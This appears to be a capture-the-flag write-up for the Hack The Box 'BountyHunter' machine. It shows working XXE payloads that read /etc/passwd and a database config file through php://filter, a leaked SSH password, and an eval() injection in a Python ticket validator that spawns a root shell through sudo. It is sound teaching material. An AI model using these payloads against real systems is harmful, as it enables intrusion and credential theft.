HTB - BountyHunter Write-up

Vulnerabilities exploited

  1. XML External Entity (XXE) processing
  2. Password re-use
  3. Python eval()

Enumerating the network

I started with a basic nmap scan.

sudo nmap -sC -sV -oA nmap/bhunter 10.10.11.100 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 and 80 were open.

Directory bruteforcing

I then ran gobuster whilst looking at what was on port 80.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt  -u http://10.10.11.100 -o gobuster_results

There was a website hosted on port 80. And the Portal hyperlink led me to a page called log_submit.php.

Index.php
Log_submit.php

Exploiting XXE vulnerability

Read more: https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html

I opened up Firefox Console and noticed a custom Javascript (js) script named bountylog.js

bountylog.js

bountylog.js had a few interesting information.

  1. A page called tracker_diRbPr00f314.php
  2. An XML form template.

I tested the function by submitting after filling up the fields, and the response were as shown.

Response from submitting the form

What happened was bountylog.js inserts the value from the fields to the XML template, encodes the data with base64 using btoa() function, and sends a POST request to tracker_diRbPr00f314.php.

Next, I wanted to test for XXE vulnerability.

Steps to test XXE processing vulnerability

  1. Submit form and intercept request using burpsuite.
  2. Send the request to burp Repeater.
    poc_1
  3. URL decode the data field value.
  4. Base64 decode data and modify it with a PoC. What my PoC would do was to fetch /etc/passwd from the target system.
    echo -n '<data_value>' | base64 -d > xxe_payload
    poc_2--2-
    xxe_payload-1
  5. Encode the PoC and replace data field value.
    encode_poc
  6. URL-encode the value to properly process special characters.
  7. Send the request and verify if PoC worked.
    xxe_poc_passwd

The output from the reward element showed me the contents of /etc/passwd. That confirmed that the target is vulnerable to XXE attacks. And since I had the contents of /etc/passwd, I wanted to know how many users were there.

cat passwd | grep -v "nologin\|false\|sync"

Exploiting XXE processing vulnerability

With confirmation that my PoC worked, I wanted to see what was inside the web files. I returned to see the results from gobuster and noticed a db.php.

However, I also wanted to know what was behind log_submit.php, so I modified my PoC to a payload that uses php://filter to encode the file contents to base64 and return it.

<?xml  version="1.0"?>
		<!DOCTYPE reward [
		<!ENTITY file SYSTEM 'php://filter/read=convert.base64-encode/resource=log_submit.php'>
		]>
		<bugreport>
		<title>ratednull</title>
		<cwe>weewooweewoo</cwe>
		<cvss>1</cvss>
		<reward>&file;</reward>
		</bugreport>
php://filter works and returned contents from log_submit.php in base64

I decoded the content and found out what caused the XXE vulnerability. The libxml_disable_entity_loader() was set to False. This meant that XML Entities could be ran, hence this vulnerability.

libxml_disable_entity_loader set to False.

Next, I modified my payload to fetch db.php and I repeated the same steps to view the contents in clear.

Decoded content from db.php using burpsuite

I found a set of credentials but did not know where it belonged to. I returned to my gobuster results to see if I missed out any other interesting files or directories, and noticed a resource directory.

There was a README.txt and the contents gave me an idea where the set of credentials I found was for. It might be the credentials for the development user.

/resources/README.txt

Initial access

ssh development@10.10.11.100
m19RoAU0hP41A1sTsq6K

Using the password found in db.php, I successfully logged in as development.

development user

Privilege escalation

Read more: https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

In the home directory of development, there was a contract.txt.

John(possibly admin), gave rights to developer to debug a code

I executed sudo -l to see if I could run anything as sudo.

sudo -l

Seemed like this was the code I was supposed to debug for John.

In the /opt/skytrain_inc directory was another folder called invalid_tickets, it contained sample ticket files which were deem invalid. I looked at the code for ticketValidator.py and understood why.

--omitted--
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

--omitted--

The code will check for a ticketCode, determined by the first number in the Ticket No of the submitted ticket. The modulo of the number would need to return 4 for it to pass the check. Next, an eval() will be called to get the sum of the Ticket No in the ticket (e.g. 32+416+57 is the Ticket No.).

The invalid tickets all had the incorrect modulo result for its ticketCode, hence the ticket would be invalid. Once I understood the code behaviour, I placed my focus on the eval() function.

The python eval() function is commonly exploited as it could cause unintended code execution. Theoratically speaking, if I could manipulate the input to lead me to code execution, I would be able to execute code within the script.

However, I needed to first craft my payload to let eval() evaluate the input as a command to execute.

An invalid ticket

I copied the ticketValidator.py and an invalid ticket to my VM to try exploiting it.

My PoC code that would retrieve the user id after running ticketValidator.py:

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+100+232**,__import__('os').system('id')#
##Issued: 2021/04/06
#End Ticket
my VM user id printed

I managed to craft my payload to properly validate the ticket and have the execution reach eval() function to execute code. Now it is time to get root.

I made a new ticket in the target with a command to spawn bash. As I am able to run ticketValidator.py with sudo, the spawned bash would be as root.

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+100+500**,__import__('os').system('/usr/bin/bash')
##Issued: 2021/04/06
#End Ticket
Ticket No 32 and command to spawn bash
root flag

Afternote

Rated Easy by HackTheBox. As of time of writing, it was my first experience in dicovering XXE and exploiting it. While it was straightforward to knowing how to get root, figuring out the way to manipulate the input was interesting. What a fun machine.

Rated-Null

Rated-Null